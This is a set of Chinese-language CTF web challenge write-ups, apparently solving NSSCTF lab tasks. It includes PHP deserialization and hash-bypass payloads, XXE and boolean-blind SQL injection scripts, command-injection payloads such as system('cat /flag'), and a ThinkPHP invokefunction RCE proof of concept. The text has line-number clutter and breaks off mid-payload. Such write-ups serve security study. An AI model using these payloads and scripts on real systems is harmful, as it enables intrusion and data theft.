1 ?pks=O%3A3%3A"acp" %3A3%3A%7Bs%3A9%3A"%00%2A%00cinder" %3BO%3A3%3A"ace" %3A3%3A%7Bs%3A8%3A"filename" %3Bs%3A8%3A"flag.php" %3Bs%3A9%3A"openstack" %3BN%3Bs%3A6%3A"docker" %3BN%3B%7Ds%3A7%3A"neutron" %3BN%3Bs%3A4%3A"nova" %3BN%3B%7D
看到了真的flag文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(0 ); include 'flag.php' ;class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new ace; } }class ace { public $filename='../nssctfasdasdflag' ; public $openstack; public $docker; } $ace= new ace(); $ace->filename; $ace->docker = null; $acp= new acp(); echo urlencode(serialize($acp));
payload
1 ?pks=O%3A3%3A"acp" %3A3%3A%7Bs%3A9%3A"%00%2A%00cinder" %3BO%3A3%3A"ace" %3A3%3A%7Bs%3A8%3A"filename" %3Bs%3A19%3A"..%2Fnssctfasdasdflag" %3Bs%3A9%3A"openstack" %3BN%3Bs%3A6%3A"docker" %3BN%3B%7Ds%3A7%3A"neutron" %3BN%3Bs%3A4%3A"nova" %3BN%3B%7D
[CISCN 2023 华北]ez_date 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } }unserialize (base64_decode ($_GET ['code' ]));
wakeup禁用了数组,MD5比较就不能用数组模糊绕过了
正则表达式
开头的“/”和i前的“\”表示正则表达式语法的开始和结束
(\s)* :匹配零个或多个空白字符(空格、制表符等)
(\n)+ :匹配一个或多个换行符
(\s)* :再次匹配零个或多个空白字符
i :修饰符,表示不区分大小写
正则表达式会将上述空白字符和换行符都替换为空字符串
file_get_contents($data)是利用点用来读取文件的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; }$date =new date ();$date ->a=1 ;$date ->b='1' ;$date ->file='/f\l\a\g' ;echo base64_encode (serialize ($date ));
payload
1 ?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9
[MoeCTF 2022]ezhtml
访问这个js目录
[NSSRound#16 Basic]了解过PHP特性吗 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 );highlight_file (__FILE__ );include ("rce.php" );$checker_1 = FALSE ;$checker_2 = FALSE ;$checker_3 = FALSE ;$checker_4 = FALSE ;$num = $_GET ['num' ];if (preg_match ("/[0-9]/" , $num )) { die ("no!!" ); }if (intval ($num )) { $checker_1 = TRUE ; }if (isset ($_POST ['ctype' ]) && isset ($_POST ['is_num' ])) { $ctype = strrev ($_POST ['ctype' ]); $is_num = strrev ($_POST ['is_num' ]); if (ctype_alpha ($ctype ) && is_numeric ($is_num ) && md5 ($ctype ) == md5 ($is_num )) { $checker_2 = TRUE ; } }$_114 = $_GET ['114' ];$_514 = $_POST ['514' ];if (isset ($_114 ) && intval ($_114 ) > 114514 && strlen ($_114 ) <= 3 ) { if (!is_numeric ($_514 ) && $_514 > 9999999 ) { $checker_3 = TRUE ; } }$arr4y = $_POST ['arr4y' ];if (is_array ($arr4y )) { for ($i = 0 ; $i < count ($arr4y ); $i ++) { if ($arr4y [$i ] === "NSS" ) { die ("no!" ); } $arr4y [$i ] = intval ($arr4y [$i ]); } if (array_search ("NSS" , $arr4y ) === 0 ) { $checker_4 = TRUE ; } }if ($checker_1 && $checker_2 && $checker_3 && $checker_4 ) { echo $rce ; }
看着就很头大,没办法一关关看吧
1 2 3 4 5 6 7 $num = $_GET ['num' ];if (preg_match ("/[0-9]/" , $num )) { die ("no!!" ); }if (intval ($num )) { $checker_1 = TRUE ; }
intval检测整数但num参数又不能含有数字,就用一个非空数组绕过
payload
1 2 3 4 5 6 7 ?num[1 ]=a&num[2 ]=bif (isset ($_POST ['ctype' ]) && isset ($_POST ['is_num' ])) { $ctype = strrev ($_POST ['ctype' ]); $is_num = strrev ($_POST ['is_num' ]); if (ctype_alpha ($ctype ) && is_numeric ($is_num ) && md5 ($ctype ) == md5 ($is_num )) { $checker_2 = TRUE ; }
MD5绕过
payload
1 ctype=QNKCDZO&is_num=s878926199a
intval 绕过且长度限制,is_numeric 绕过
payload
1 2 3 4 get传参 114=1e8 POST 514=999999999a
array_search 绕过
array_search()函数在数组中搜索某个键值,并返回对应的键名
payload
源码
1 2 3 4 5 6 7 8 <?php error_reporting (0 );highlight_file (__FILE__ );$nss =$_POST ['nss' ];$shell = $_POST ['shell' ];if (isset ($shell )&& isset ($nss )){ $nss_shell = create_function ($shell ,$nss ); }
create_function的注入
payload
1 nss=return;}system('cat /flag');/*&shell=
[SWPUCTF 2022 新生赛]ez_sql(关键字绕过)
根据题目提示是sql参数是nss,先尝试get传参
被警告了说要用相对安全的传参方式,OK这里积累了一个小知识点就是POST传参比GET传参相对安全
nss=1
???就出了?好吧不是两个都是假的
开始SQL注入吧
nss=1’
出现报错说明存在SQL注入
报错解析: 这个报错的核心是 SQL 语句存在语法格式错误
关键错误片段’’1’’, 这个写法是重复单引号导致的语法畸形
nss=1’ order by 2 – +
报错解析:SQL 语法错误,核心原因是你的注入语句末尾的–+没有被正确解析,导致 MariaDB 把+后面的内容(或者–+本身)当成了 SQL 语句的一部分,最终触发语法校验失败
或者很有可能是被过滤
先尝试用/**/过滤空格
nss=1’//order/ /by/**/3–+
报错分析:看到der//by/ /3+ 发现or也被过滤了
用||尝试绕过or
nss=1’//||der/ /by/**/3–+
依旧报错
报错解析:’by/**/3+’,||好像不行&&试了也不行
nss=-1’//oorrder/ /by/**/3#
就想到用双写绕过测列数,3的时候正常回显
nss=-1’//oorrder/ /by/**/4#
4的时候报错,说明列数为3,因为列数相同满足联合注入
nss=-2’//ununionion/ /select/**/1,2,3#
测试回显位
nss=-2’//ununionion/ /select/**/1,2,database()#
测试数据库名称
nss=-2’//ununionion/ /select//1,2,group_concat(table_name)/ /from//infoorrmation_schema.tables/ /where/**/table_schema=’NSS_db’#
测试表名
nss=-2’//ununionion/ /select//1,2,group_concat(id,Secr3t,flll444g)/ /from/**/NSS_tb#
NSS_tb:表名,从表中查看字段
分析代码就能知道,在路由/ghctf中,以POST的方式传入参数xml,关键点在于解析XML的部分。这里使用了lxml库的etree模块,创建了一个XML解析器parser,参数是load_dtd=True和resolve_entities=True。这两个参数可能开启外部实体解析,导致XXE漏洞。
并且没有过滤
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests TARGET_URL = "http://node1.anna.nssctf.cn:24380/ghctf" FILE_TO_READ = "/flag" malicious_xml = f'''<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://{FILE_TO_READ} "> ]> <root> <name>&xxe;</name> </root>''' try : response = requests.post( TARGET_URL, data={'xml' : malicious_xml}, timeout=10 ) if response.status_code == 200 : print ("[+] 攻击成功!响应内容:" ) print (response.text) else : print (f"[-] 请求失败,状态码:{response.status_code} " )except Exception as e: print (f"[-] 发生错误:{str (e)} " )
[WUSTCTF 2020]颜值成绩查询
看到是布尔盲注,就想到应该是要利用脚本攻击了:(
只能找wp了(不知道sqlmap能不能做出来,没试过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 import requestsimport timedef get_db_info (strings, url, success ): db_length = 1 now_db_length = 1 while db_length > 0 : get_db_url = url + '/**/and/**/length(database())=' + str (db_length) + '#' result = requests.get(get_db_url).content.decode('utf-8' ) if success in result: print ('数据库长度为:' + str (db_length)) break db_length = db_length + 1 db_name = '' while now_db_length < db_length + 1 : for one_char in strings: get_db_url = url + '/**/and/**/substr(database(),' + str (now_db_length) + ',1)=%27' + one_char + '%27#' result = requests.get(get_db_url).content.decode('utf-8' ) if success in result: db_name = db_name + one_char break now_db_length = now_db_length + 1 print ("\r" , end="" ) print ('数据库名字为:' + db_name, end='' ) return db_namedef get_table_info (strings, url, success, db_name ): table_names = [] table_num = 0 while table_num >= 0 : get_table_url = url + '/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str ( table_num) + ',1))>0--+' result = requests.get(get_table_url).content.decode('utf-8' ) if success in result: table_num = table_num + 1 else : break print ('数据库内表的数量为:' + str (table_num)) now_table_num = 0 while now_table_num < table_num: length = 1 while length > 0 : get_table_url = url + '/**/and/**/length((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str ( now_table_num) + ',1))=' + str (length) + '--+' result = requests.get(get_table_url).content.decode('utf-8' ) if success in result: break length = length + 1 now_length = 1 table_name = '' while now_length < length + 1 : for one_char in strings: get_table_url = url + '/**/and/**/substr((select/**/ table_name/**/from/**/information_schema.tables/**/where/**/table_schema=%27' + db_name + '%27/**/limit/**/' + str ( now_table_num) + ',1),' + str (now_length) + ',1)=%27' + one_char + '%27--+' result = requests.get(get_table_url).content.decode('utf-8' ) time.sleep(0.1 ) if success in result: table_name = table_name + one_char print ("\r" , end="" ) print ('表' + str (now_table_num + 1 ) + '名字为:' + table_name, end='' ) break now_length = now_length + 1 print ('' ) table_names.append(table_name) now_table_num = now_table_num + 1 return table_namesdef get_column_info (strings, url, success, db_name, table_names ): for i in range (0 , len (table_names)): column_names = [] column_num = 0 while column_num >= 0 : get_column_url = url + '/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str ( table_names[i]) + '%27/**/limit/**/' + str (column_num) + ',1))>0--+' result = requests.get(get_column_url).content.decode('utf-8' ) if success in result: column_num = column_num + 1 else : print (str (table_names[i]) + '表的列数量为:' + str (column_num)) for now_column_num in range (0 , column_num): length = 1 while length >= 0 : get_column_url = url + '/**/and/**/length((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str ( table_names[i]) + '%27/**/limit/**/' + str (now_column_num) + ',1))=' + str (length) + '--+' result = requests.get(get_column_url).content.decode('utf-8' ) if success in result: now_length = 1 column_name = '' while now_length < length + 1 : for one_char in strings: get_column_url = url + '/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=%27' + str ( table_names[i]) + '%27/**/limit/**/' + str (now_column_num) + ',1),' + str ( now_length) + ',1)=%27' + str (one_char) + '%27--+' result = requests.get(get_column_url).content.decode('utf-8' ) if success in result: column_name = column_name + str (one_char) now_length = now_length + 1 print ("\r" , end="" ) print ('第' + str (now_column_num + 1 ) + '列的名称为:' + column_name, end='' ) break column_names.append(column_name) print ('' ) break else : length = length + 1 break get_data(strings, url, success, db_name, table_names[i], column_names)def get_data (strings, url, success, db_name, table_names, column_names ): print ('开始获取表内数据------------------------------------------' ) for k in range (0 , len (column_names)): row = 0 while row >= 0 : get_data_url = url + '/**/and/**/length((select/**/' + str (column_names[k]) + '/**/from/**/' + str ( table_names) + '/**/limit/**/' + str (row) + ',1))>0--+' result = requests.get(get_data_url).content.decode('utf-8' ) if success in result: row = row + 1 length = 0 while length >= 0 : get_data_url = url + '/**/and/**/length((select/**/' + str ( column_names[k]) + '/**/from/**/' + str (table_names) + '/**/limit/**/' + str ( row - 1 ) + ',1))=' + str (length) + '--+' result = requests.get(get_data_url).content.decode('utf-8' ) if success in result: break else : length = length + 1 now_length = 1 data = '' while now_length < length + 1 : for one_char in strings: get_data_url = url + '/**/and/**/substr((select/**/' + str ( column_names[k]) + '/**/from/**/' + str (table_names) + '/**/limit/**/' + str ( row - 1 ) + ',1),' + str (now_length) + ',1)=%27' + str (one_char) + '%27--+' result = requests.get(get_data_url).content.decode('utf-8' ) if success in result: data = data + one_char print ("\r" , end="" ) print (column_names[k] + '列的第' + str (row) + '行数据为:' + data, end='' ) break now_length = now_length + 1 else : break print ('' )if __name__ == '__main__' : strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~' url = 'http://node5.anna.nssctf.cn:24394/?stunum=1' success = 'your score is: 100' print ('可以获取数据库内全部表的信息,但获取当前表的值需要修改success值' ) print ('失败结果是一致的,可以修改为success为失败的值,则可以获取当前表数据' ) print ('开始获取数据库信息---------------------------------------' ) db_name = get_db_info(strings, url, success) print ('\n开始获取数据库内表信息------------------------------------' ) table_names = get_table_info(strings, url, success, db_name) print ('开始获取表结构信息-----------------------------------------' ) get_column_info(strings, url, success, db_name, table_names) print ('获取表数据信息结束-----------------------------------------' )
[广东强网杯 2021 团队组]love_Pokemon 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php error_reporting (0 );highlight_file (__FILE__ );$dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); }function DefenderBonus ($Pokemon ) { if (preg_match ("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i" ,$Pokemon )){ die ('catch broken Pokemon! mew-_-two' ); } else { return $Pokemon ; } }function ghostpokemon ($Pokemon ) { if (is_array ($Pokemon )){ foreach ($Pokemon as $key => $pks ) { $Pokemon [$key ] = DefenderBonus ($pks ); } } else { $Pokemon = DefenderBonus ($Pokemon ); } }switch ($_POST ['myfavorite' ] ?? "" ){ case 'picacu!' : echo md5 ('picacu!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); break ; case 'bulbasaur!' : echo md5 ('miaowa!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); $level = $_POST ["levelup" ] ?? "" ; if ((!preg_match ('/lv100/i' ,$level )) && (preg_match ('/lv100/i' ,escapeshellarg ($level )))){ echo file_get_contents ('./hint.php' ); } break ; case 'squirtle' : echo md5 ('jienijieni!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); break ; case 'mewtwo' : $dream = $_POST ["dream" ] ?? "" ; if (strlen ($dream )>=20 ){ die ("So Big Pokenmon!" ); } ghostpokemon ($dream ); echo shell_exec ($dream ); }?>
看到了shell_exec($dream)利用点,里面还有一个hint
先拿到hint
1 2 3 4 5 6 7 8 9 10 switch ($_POST ['myfavorite' ] ?? "" ){ case 'picacu!' : echo md5 ('picacu!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); break ; case 'bulbasaur!' : echo md5 ('miaowa!' ).md5 ($_SERVER ['REMOTE_ADDR' ]); $level = $_POST ["levelup" ] ?? "" ; if ((!preg_match ('/lv100/i' ,$level )) && (preg_match ('/lv100/i' ,escapeshellarg ($level )))){ echo file_get_contents ('./hint.php' ); }
需要参数myfavorite的值等于bulbasaur!
同时要满足levelup不包含lv100, 但经过escapeshellarg()函数处理后,又需要包含 lv100
这里需要escapeshellarg()函数的绕过
escapeshellarg() 函数在处理超过 ASCII 码范围的字符的时候会直接过滤掉该字符串
可以利用上述bug绕过该函数
payload
1 myfavorite=bulbasaur!&levelup=lv%80100
这里我们就得到了flag的位置,我们就利用shell_exec()读取flag
之前先要绕过waf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );highlight_file (__FILE__ );$dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )){ mkdir ($dir ); }function DefenderBonus ($Pokemon ) { if (preg_match ("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i" ,$Pokemon )){ die ('catch broken Pokemon! mew-_-two' ); } else { return $Pokemon ; }
这个waf直接过滤了字母a、l之类的,那cat、nl、less、more都不能用,这里就需要用到其他读取文件的命令od,还过滤了空格和FLAG
payload
1 myfavorite=mewtwo&dream=od%09 /F[G-O][@-B]G
得到flag的八进制表示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 dump = "" "0000000 051516 041523 043124 033173 032070 063060 033071 026464 0000020 034065 031462 032055 030460 026466 032141 031070 031055 0000040 060470 031466 063142 033060 062065 076471 000012 0000055 " "" dump = dump.replace ("\n" , " " ) octs = [("0o" + n) for n in dump.split (" " ) if n] hexs = [int (n, 8 ) for n in octs] result = "" for n in hexs: if (len (hex (n)) > 4 ): swapped = hex (((n << 8 ) | (n >> 8 )) & 0xFFFF ) result += swapped[2 :].zfill (4 )print (bytes.fromhex (result).decode ())
[SWPUCTF 2022 新生赛]ez_rce 扫描发现了爬虫
在网上搜到了可执行的POC
payload
1 ?s=index/\think\app/invokefunction&function =call_user_func_array &vars [0]=system &vars [1][]=ls +/
他的flag不在最开始的flag文件里,而是在nss/ctf/flag目录下
payload
1 ?s=index/\think\app/invokefunction&function =call_user_func_array &vars [0]=system &vars [1][]=cat +/nss /ctf /flag /flag
[GWCTF 2019]你的名字 SSTI貌似有很多waf,利用焚靖绕过
[羊城杯 2020]Blackcat
有一个音频但是点不开,先看看源码
看到了这个音频文件点点看
上面全是乱码但在最下面居然有源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (empty ($_POST ['Black-Cat-Sheriff' ]) || empty ($_POST ['One-ear' ])){ die ('谁!竟敢踩我一只耳的尾巴!' ); }$clandestine = getenv ("clandestine" );if (isset ($_POST ['White-cat-monitor' ])) $clandestine = hash_hmac ('sha256' , $_POST ['White-cat-monitor' ], $clandestine );$hh = hash_hmac ('sha256' , $_POST ['One-ear' ], $clandestine );if ($hh !== $_POST ['Black-Cat-Sheriff' ]){ die ('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。' ); }echo exec ("nc" .$_POST ['One-ear' ]);
这里有一个hash_hmac()函数
hash_hmac($algo, $data, $key)
当传入的 $data为数组时,加密得到的固定结果就是null
所以给White-cat-monitor赋值为一个数组
这样$clandestine = hash_hmac(‘sha256’, $_POST[‘White-cat-monitor’], $clandestine);的值就为null
1 exec ("nc" .$_POST ['One-ear' ])
执行这个拼接的命令但想到nc是用来连接的,由于exec只返回命令执行结果的最后一行内容,为了不干扰后续的命令执行先给One-ear赋值分号再加上后续的命令
需要让Black-Cat-Sheriff的值等于$hh = hash_hmac(‘sha256’, $_POST[‘One-ear’], $clandestine);就要运行一下看看$hh的结果
1 2 3 <?php var_dump (hash_hmac ('sha256' , ';env' , null ));?>
payload
1 White-cat -monitor[]=1&One -ear=;env&Black-Cat -Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
发现flag不在环境变量里,之前试了ls都没有找到
看了眼信息发现一直忽略了是在Windows环境下
那查看目录下文件的命令就是dir
1 2 3 <?php var_dump (hash_hmac ('sha256' , ';dir' , null ));?>
payload
1 White-cat -monitor[]=1&One -ear=;dir &Black-Cat -Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395
payload
1 White-cat-monitor[]=1&One-ear =;more f*&Black-Cat-Sheriff =1f61c14baad48fa2946c106e7224a54311ed4936ad229e3763ccceffe59b1a76
[鹤城杯 2021]Middle magic 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php highlight_file (__FILE__ );include "./flag.php" ;include "./result.php" ;if (isset ($_GET ['aaa' ]) && strlen ($_GET ['aaa' ]) < 20 ){ $aaa = preg_replace ('/^(.*)level(.*)$/' , '${1}<!-- filtered -->${2}' , $_GET ['aaa' ]); if (preg_match ('/pass_the_level_1#/' , $aaa )){ echo "here is level 2" ; if (isset ($_POST ['admin' ]) and isset ($_POST ['root_pwd' ])) { if ($_POST ['admin' ] == $_POST ['root_pwd' ]) echo '<p>The level 2 can not pass!</p>' ; else if (sha1 ($_POST ['admin' ]) === sha1 ($_POST ['root_pwd' ])){ echo "here is level 3,do you kown how to overcome it?" ; if (isset ($_POST ['level_3' ])) { $level_3 = json_decode ($_POST ['level_3' ]); if ($level_3 ->result == $result ) { echo "success:" .$flag ; } else { echo "you never beat me!" ; } } else { echo "out" ; } } else { die ("no" ); } } else { echo '<p>out!</p>' ; } } else { echo 'nonono!' ; } echo '<hr>' ; }?>
直接给了源码,看到要通过三关才能拿到flag
Leval1
1 2 3 4 5 6 if (isset ($_GET ['aaa' ]) && strlen ($_GET ['aaa' ]) < 20 ){ $aaa = preg_replace ('/^(.*)level(.*)$/' , '${1}<!-- filtered -->${2}' , $_GET ['aaa' ]); if (preg_match ('/pass_the_level_1#/' , $aaa )){ echo "here is level 2" ;
get传参aaa,但是有长度限制,并且如果参数值中出现leval会被替换成<!-- filtered -->,参数值只有等于pass_the_level_1#才能通过第一关,一开始的思路是利用大小写绕过leval,但是preg_match对大小写敏感,没办法绕过,就只能尝试编码。这里还遗漏了一个细节没有分析,就是正则匹配中的'/^(.*)level(.*)$/'
首先是^表示字符串开头
在默认模式下(无 /s 修饰符),^ 仅匹配整个字符串的最开始位置 。
此时字符串第一个字符是 \n(换行),所以 ^ 匹配位置在 \n 之前
然后是(.*)是“贪婪但不跨行”的匹配
PHP 的 . 默认不匹配换行符 (包括 \n, \r)
所以从 ^ 开始,.* 尝试匹配任意字符(除换行),但第一个字符就是 \n
因此,(.*) 只能匹配 空字符串 (因为不能吃掉 \n)
因此可以利用(.*)的不匹配\n来绕过preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}')的正则匹配
payload
1 ?aaa= %0 apass_the_level_1 %23
%0a是\n,因此.不匹配,所以整个正则 /^(.*)level(.*)$/ 完全不匹配 输入字符串,因此aaa不会被替换,保留原有值
Leval2
1 2 3 4 5 6 if (isset ($_POST ['admin' ]) and isset ($_POST ['root_pwd' ])) { if ($_POST ['admin' ] == $_POST ['root_pwd' ]) echo '<p>The level 2 can not pass!</p>' ; else if (sha1 ($_POST ['admin' ]) === sha1 ($_POST ['root_pwd' ])){ echo "here is level 3,do you kown how to overcome it?" ;
是POST传参,有两个参数,需要进行哈希值的强比较,直接利用数组绕过
payload
Leval3
1 2 3 4 5 6 7 8 9 10 if (isset ($_POST ['level_3' ])) { $level_3 = json_decode ($_POST ['level_3' ]); if ($level_3 ->result == $result ) { echo "success:" .$flag ; } else { echo "you never beat me!" ; }
这里看到依旧是POST传参,但是会对传入的参数值进行json解码,所以这里传入的参数值就要是以json格式传入,因为$level_3->result == $result需要与result相等,但对于result内容未知,就让result的值等于null即可
payload
flag
1 NSSCTF{9a14946a-3c79-468b-8181 -e77053d0c54e}
[MoeCTF 2021]Web安全入门指北—小饼干 抓包看到Cookie值是VIP但等于0
很简单的改成1就可以了
flag
1 NSSCTF {53 a41161-f745-485 e-9064 -123038 d27f57}
[WUSTCTF 2020]朴实无华 看源码看到了bot,就想到了爬虫协议/robots.txt
但是好像没用
访问一下是一个错误的flag,但是抓包看了响应包,发现有一个/fl4g.php(这道题好像之前在BUU做过一遍了)
看到了一大片源码(又是这个非洲,果然做过
Leval1
1 2 3 4 5 6 7 8 9 10 if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>" ; }else { die ("金钱解决不了穷人的本质问题" ); } }else { die ("去非洲吧" ); }
是一个get参数,需要小于2020但加1又大于2021,这个一眼用科学计数法
payload
Leval2
1 2 3 4 5 6 7 8 9 if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>" ; else die ("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲" ); }else { die ("去非洲吧" ); }
简单的MD5,注意到是弱比较,0e215962017的MD5值也是由0e开头,在PHP弱比较中相等
payload
1 ?num =12e3&md5=0e215962017
Leval3
1 2 3 4 5 6 7 8 9 if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>" ; system ($get_flag ); }else { die ("快到非洲了" ); }
首先!strstr($get_flag," ")过滤了空格,strstr函数是在$get_flag字符串中查找是否有" ",也就是空格,有则返回false,但是这里在这个函数前取非,所以$get_flag字符中不能出现空格
然后还有一个$get_flag = str_ireplace("cat", "wctf2020", $get_flag);,会把cat替换成wctf2020,不区分大小写
所以这里有两个被过滤,一个是空格,一个是cat(其实都很好绕过
先看一下flag的文件名是什么,就一个ls命令没什么要绕过的就不写payload了(果然是一些奇奇怪怪的名字
payload
1 get_flag =nl${IFS} fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
这只是一种payload
空格和cat有很多种过滤方式,我记得之前在BUU和RCE笔记里都写过,这里就不写了
flag
1 NSSCTF {cd6c2f13-7 d8b-4 d1c-a5cd-6 ca6dfb9d84e}
[NISACTF 2022]level-up 一开始是什么没有,看眼源码有提示,看到disallow第一反应就是爬虫
在这个路由下看到源码
Leval2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );include "str.php" ;if (isset ($_POST ['array1' ]) && isset ($_POST ['array2' ])){ $a1 = (string )$_POST ['array1' ]; $a2 = (string )$_POST ['array2' ]; if ($a1 == $a2 ){ die ("????" ); } if (md5 ($a1 ) === md5 ($a2 )){ echo $level3 ; } else { die ("level 2 failed ..." ); } }else { show_source (__FILE__ ); }?>
这里看到是两个POST参数,但是用来(string)对参数值的类型进行强制转换成了字符串,看到下面的MD5比较就猜到是用来避免利用数组绕过的,这里是MD5强比较,利用MD5碰撞绕过,但是这里有个小tip就是这种MD5或者哈希的强比较好像都只有在bp抓包才能成功
payload
1 array1 = psycho%0 A%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 W%ADZ %AF %3 C%8 A%13 V%B5 %96 %18 m%A5 %EA2 %81 _%FB %D9 %24 %22 %2 F%8 F%D4D %A27vX %B8 %08 %D7m %2 C%E0 %D4LR %D7 %FBo %10 t%19 %02 %82 %7 D%7 B%2 B%9 Bt%05 %FFl %AE %8 DE%F4 %1 F%84 %3 C%AE %01 %0 F%9 B%12 %D4 %81 %A5J %F9H %0 FyE%2 A%DC %2 B%B1 %B4 %0 F%DEcC %40 %DA29 %8 B%C3 %00 %7 F%8 B_h%C6 %D3 %8 Bd8 %AF %85 %7 C%14 w%06 %C2 %3 AC%BC %0 C%1 B%FD %BB %98 %CE %16 %CE %B7 %B6 %3 A%F3 %99 %B59 %F9 %FF %C2 &array2 = psycho%0 A%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 W%ADZ %AF %3 C%8 A%13 V%B5 %96 %18 m%A5 %EA2 %81 _%FB %D9 %A4 %22 %2 F%8 F%D4D %A27vX %B8 %08 %D7m %2 C%E0 %D4LR %D7 %FBo %10 t%19 %02 %02 %7 E%7 B%2 B%9 Bt%05 %FFl %AE %8 DE%F4 %1 F%04 %3 C%AE %01 %0 F%9 B%12 %D4 %81 %A5J %F9H %0 FyE%2 A%DC %2 B%B1 %B4 %0 F%DEc %C3 %40 %DA29 %8 B%C3 %00 %7 F%8 B_h%C6 %D3 %8 Bd8 %AF 